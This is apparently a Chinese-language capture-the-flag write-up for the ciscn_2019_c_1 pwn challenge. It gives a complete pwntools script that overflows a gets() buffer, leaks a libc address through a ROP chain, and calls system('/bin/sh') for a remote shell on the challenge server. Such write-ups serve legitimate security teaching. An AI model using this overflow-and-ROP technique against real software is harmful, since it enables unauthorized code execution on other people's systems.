一、查保護
NX與ASLR都開啟了,不白給了。
二、代碼審計
然而沒有發現callsystem后門函數,開了NX需要自己構造ROP鏈。
基本思路:encrypt()里面的get()可以溢出,棧大小為50h。puts()可以用來泄露libc基址。
三、過程
ROPgadget --binary ./ciscn_2019_c_1
可以查看文件擁有的gadget。
這里我們會用到0x00000000004006b9 : ret
用於棧對齊,0x0000000000400c83 : pop rdi ; ret
用於控制puts輸出。
需要溢出兩次,所以第一次溢出需要返回主函數。
四、腳本
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
#io = process('./ciscn_2019_c_1')
io=remote('node3.buuoj.cn',25647)
elf=ELF('./ciscn_2019_c_1')
ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_sym=elf.sym['puts']
__libc_start_main=elf.got['__libc_start_main']
sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(__libc_start_main)+p64(puts_sym)+p64(main)
sla('encrypted\n',payload)
rl()
rl()
__libc_start_main=u64(ru('\n')[:-1].ljust(8,'\0'))
#print(__libc_start_main)
libc=LibcSearcher('__libc_start_main',__libc_start_main)
libc_addr=__libc_start_main-libc.dump('__libc_start_main')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('encrypted\n',payload)
io.interactive()